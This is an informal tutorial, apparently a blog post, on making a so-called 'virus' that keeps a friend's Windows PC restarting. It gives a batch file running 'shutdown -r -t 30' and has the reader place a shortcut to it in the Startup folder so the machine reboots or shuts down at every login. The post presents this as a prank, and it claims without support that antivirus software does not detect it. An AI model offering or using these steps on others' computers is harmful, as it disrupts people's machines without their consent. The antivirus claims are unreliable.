how to create a virus............

Today I will show you how to create a virus that restarts the computer upon every startup. That is, upon infection, the computer will get restarted every time the system is booted. This means that the computer will become inoperable since it reboots as soon as the desktop is loaded.
                   For this, the virus need to be double clicked only once and from then onwards it will carry out rest of the operations. And one more thing, none of the antivirus softwares detect’s this as a virus.


MAKE COMPUTER KEEP RESTARTING


1.open note pad


2.type "shutdown -r -t 30" with out quotes


3.save the file with .bat extension


4.explaination,u have created a prog which shutdowns the pc with in 30 sec
of executing the file


5. now open "C:\Documents and Settings\username\Start Menu\Programs\Startup (USERNAME is the username of your computer suppose pc name is anil so the user name is anil)


6.paste a shortcut on this directory


NOW WHEN EVER UR FRIEND STARTS HIS PC  or double click on that file count down will start after 30 sec his pc will shutdown
you can also make his pc shutdown instead of restart..... just replace "shutdown -s" in the place of  "shutdown -r"
and if you want to give a massage when the computer is shutting down so write that code without  bracket 
(shutdown -r -t 60 -c "system goes to shutdown") in the place of (shutdown -r -t 30)
if you want to forcely shutdown so write it shutdown -s


enjoy with this post....but  this is not a virus but look so....